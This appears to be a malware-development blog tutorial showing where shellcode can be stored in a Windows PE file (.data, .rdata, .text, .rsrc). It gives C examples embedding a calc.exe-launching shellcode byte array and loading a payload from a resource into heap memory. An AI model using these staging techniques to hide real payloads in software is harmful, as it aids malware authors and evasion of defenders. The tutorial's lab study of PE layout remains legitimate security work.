> For the complete documentation index, see [llms.txt](https://www.insidepwn.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.insidepwn.com/blogs/maldev/shellcode-placement.md).

# Shellcode Placement

Shellcode is set of instructions that is injected and executed by a malicious exe or software or program

### Where we can put the shellcode ?

* in a PE you have 4 sections where you can put the shellcode :-
  * `.data`
  * `.rdata`
  * `.text`
  * `.rsrc`&#x20;

#### 1. .data

* this section has global variables and local variable&#x20;
* the memory protection of this region is `RW`

```c
#include <stdio.h>
#include <Windows.h>

unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main() {
	printf("shellcode var : 0x%p\n",shellcode);
	getchar();

}
```

<figure><img src="/files/002doPBMUQ4ASHsdEw3c" alt=""><figcaption></figcaption></figure>

* so we can see that the region where shellcode is present is the `.data` section

<figure><img src="/files/jjXxgX9hBkR2c8Fm86gS" alt=""><figcaption></figcaption></figure>

* can see the same here too

#### 2. .rdata

* this section has read only data (`R`)
* and by using the `const` qualifier we can put the data in `.rdata` section

```c
#include <stdio.h>
#include <Windows.h>

const unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main() {
	printf("shellcode address: 0x%p\n",shellcode);
	getchar();

}
```

<figure><img src="/files/99KVZvo0TsS1VJLAslco" alt=""><figcaption></figcaption></figure>

* we can see that shellcode is located inside the `.rdata` section.
* the shellcode is at `.rdata` + 0xBB0.

<figure><img src="/files/JqdTtu9rrZN8SRsMllgz" alt=""><figcaption></figcaption></figure>

#### 3. .text

* to save the shellcode in `.text` section we need to tell the compiler that we need to allocate this variable data in the `.text` section

```c
#include <stdio.h>
#include <Windows.h>
#pragma section(".text")

__declspec(allocate(".text")) const unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";


int main() {
	printf("shellcode address: 0x%p\n",shellcode);
	getchar();

}
```

<figure><img src="/files/mIp8ZTwAa8TSxXflBQd1" alt=""><figcaption></figcaption></figure>

* here we can see that the shellcode is in the `.text` section

<figure><img src="/files/G7g3Z6oB5uXXbILfmoaZ" alt=""><figcaption></figcaption></figure>

* this is the dump from that address and we can see that it has the shellcode within it

#### 4. .rsrc

* this section is the best section to store shellcode or payload as in `.data` and `.rdata` ths size of shellcode or payload can't be large
* the below is `main.c`

```c
#include <stdio.h>
#include <windows.h>
#include "resource.h"

#define IDR_RCDATA1 101

int main() {

	HRSRC hRsrc = NULL;
	HGLOBAL hGlobal = NULL;
	PVOID pPayloadAddress = NULL;
	SIZE_T sPayloadSize = NULL;

	hRsrc = FindResourceA(NULL,MAKEINTRESOURCE(IDR_RCDATA1),RT_RCDATA); //finds our resource that is calc.ico

	hGlobal = LoadResource(NULL,hRsrc); //load it 

	pPayloadAddress  = LockResource(hGlobal); //lock in

	sPayloadSize = SizeofResource(NULL,hRsrc); //size calculation of resource

	printf("shellcode address: 0x%p \n",pPayloadAddress); //shellcode address in the .rsrc section

	printf("shellcode size: %ld \n",sPayloadSize); //shellcode size

	LPVOID tempspace = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sPayloadSize); //making a tempspace to move shellcode
	if (tempspace != NULL) {
		memcpy(tempspace,pPayloadAddress,sPayloadSize); //copying the shellcode to that new tempspace
	}

	printf("new allocated shellcode space: 0x%p \n",tempspace);
	getchar();
}

```

* the shellcode cannot be updated once it has been saved and locked as a resource but what we can do is move shellcode to a tempspace then update it&#x20;
* the below is `resource.h`&#x20;

```c
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ generated include file.
// Used by Resource.rc
//
#define IDR_RCDATA1                     101

// Next default values for new objects
// 
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE        102
#define _APS_NEXT_COMMAND_VALUE         40001
#define _APS_NEXT_CONTROL_VALUE         1001
#define _APS_NEXT_SYMED_VALUE           101
#endif
#endif

```

* to add the shell code as resource we first need to click on Resource Files and the resource file `.rc` and your calculator shellcode saved as `calc.ico` with custom datatype as `RCDATA`

<figure><img src="/files/BCU1RJ9x59Gx0kKfp7zC" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/N9iI3zSfyHMfR3gwkDmc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Oq75Ik8X28DFT9tpdnEP" alt=""><figcaption></figcaption></figure>

* the above image shows that the shellcode exists in the `.rsrc` region

<figure><img src="/files/Jm8DJV9J8iAfM2QZmNhw" alt=""><figcaption></figcaption></figure>

* the above image shows that the shellcode is moved to a temp region

**At the end , playing around with these was quite fun and interesting . PEACE OUT !**
